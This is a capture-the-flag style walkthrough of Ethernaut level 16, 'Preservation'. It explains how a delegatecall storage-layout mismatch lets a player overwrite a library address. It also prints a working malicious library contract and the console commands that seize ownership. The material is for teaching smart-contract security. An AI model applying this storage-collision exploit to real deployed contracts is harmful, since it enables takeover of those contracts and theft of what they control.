This is the level 16 of OpenZeppelin Ethernaut web3/solidity based game.
Pre-requisites
- Layout of state variables in Storage
- Context preserving nature of Delegatecall function
Hack
Given contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
player
has to claim the ownership of Preservation
.
The vulnerability Preservation
contract comes from the fact that its storage layout is NOT parallel or complementing to that of LibraryContract
whose method the Preservation
is calling using delegatecall
.
Since delegatecall
is context-preserving any write would alter the storage of Preservation
, and NOT LibraryContract
.
The call to setTime
of LibraryContract
is supposed to change storedTime
(slot 3) in Preservation
but instead it would write to timeZone1Library
(slot 0). This is because storeTime
of LibraryContract
is at slot 0 and the corresponding slot 0 storage at Preservation
is timeZone1Library
.
| LibraryContract Preservation
--------------------------------------------------
slot 0 | storedTime <- timeZone1Library
slot 1 | _ timeZone2Library
slot 2 | _ owner
slot 3 | _ storedTime
This information can be used to alter timeZone1Library
address to a malicious contract - EvilLibraryContract
. So that calls to setTime
is executed in a EvilLibraryContract
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract EvilLibraryContract {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint _time) public {
owner = msg.sender;
}
}
Note that storage layout of EvilLibraryContract
is complementing to Preservation
so that proper state variables are changed in Preservation
when any storage changes. Moreover, setTime
contains malicious code that changes ownership to msg.sender
(which would the player
).
Let's start the attack!
First deploy EvilLibraryContract
and copy it's address. Then alter the timeZone1Library
in Preservation
by:
await contract.setFirstTime(<evil-library-contract-address>)
(a 32 byte uint
type can accommodate 20 byte address
value)
Now the delegatecall
in setFirstTime
would execute setTime
of EvilLibraryContract
, instead of LibraryContract
.
Call setFirstTime
with any uint
param:
await contract.setFirstTime(1)
Bang! player
(msg.sender
) is set as owner
through setTime
of EvilLibraryContract
.
Verify by:
await contract.owner() === player
// Output: true
Level cracked!
Learned something awesome? Consider starring the github repo 😄
and following me on twitter here 🙏
Top comments (0)